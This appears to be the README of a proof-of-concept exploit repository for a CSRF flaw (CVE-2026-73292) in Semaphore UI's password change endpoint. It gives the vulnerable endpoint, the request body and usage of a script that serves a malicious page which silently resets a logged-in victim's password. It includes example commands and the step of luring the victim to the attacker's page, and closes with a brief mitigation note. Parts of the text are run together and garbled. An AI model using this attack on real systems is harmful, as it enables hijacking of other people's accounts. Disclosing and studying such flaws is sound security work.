camillegr/cve-2026-73292Proof-of-concept exploit for CVE-2026-73292: CSRF attack on Semaphore UI password change endpoint, serving a malicious page that silently resets an authenticated user's password.
For educational and responsible disclosure purposes only.
This vulnerability has been reported in GHSA-8cj9-r88m-8945 and affect semaphoreui versions below 2.18.21.
The password change endpoint of Semaphore UI does not implement any CSRF protection:
semaphore) with no SameSite enforcementA malicious page can silently change the password of any authenticated user who visits it.
Affected endpoint: POST /api/users/{id}/password
{"password": "newpassword", "project_id": 1}
python poc_server.py -u http://TARGET:3000 -i USER_ID [-n NEW_PASSWORD] [-p PORT]
| Argument | Description | Default |
|---|---|---|
-u / --uri | Base URL of the Semaphore instance | required |
-i / --user_id | ID of the target user | required |
-n / --new_password | Password to set | passwordchanged |
-p / --port | Port to serve the malicious page | 1337 |
python poc_server.py -u http://192.168.1.10:3000 -i 1 -n pwn3d -p 1337
Then send the victim (authenticated on Semaphore) to http://ATTACKER:1337. Their password is changed immediately upon page load.
python poc.py -u http://TARGET:3000 -i 1
http://ATTACKER:1337/api/users/1/password returning HTTP 204SameSite=Strict on the session cookie